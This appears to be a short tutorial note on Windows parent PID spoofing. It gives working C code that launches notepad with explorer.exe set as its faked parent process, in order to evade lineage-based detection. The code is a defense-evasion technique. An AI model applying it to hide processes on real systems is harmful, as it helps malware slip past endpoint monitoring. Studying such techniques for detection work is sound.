This allows us to make a process spawn with an arbitrary parent set. This helps make the process make it look like it was spawned by another process to evade parent-child relationships.
CreateProcess API accepts lpStartupInfo parameter, in which we can supply a STARTUPINFOEX structure
The PROC_THREAD_ATTIRBUTE_PARENT_PROCESS attribute in the STARTUPINFOEX structure
is where we can supply an arbitrary parent
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
DWORD FindProcessPid(const char* procname)
{
PROCESSENTRY32 pe32 = { 0 };
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // takes a snapshot of all the processes running in the system
if (hSnapshot)
{
if (Process32First(hSnapshot, &pe32)) // from the snapshot of the processes, we extract the process name
{
do
{
if (strcmp(pe32.szExeFile, procname) == 0) // compares the process name, with our user supplied name
{
return pe32.th32ProcessID; // if its the same, return the process id
}
} while (Process32Next(hSnapshot, &pe32));
CloseHandle(hSnapshot);
}
}
return -1; // returns negative one if the process is not found
}
int main() {
int pid = FindProcessPid("explorer.exe");
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T attributeSize;
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, pid);
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
return 0;
}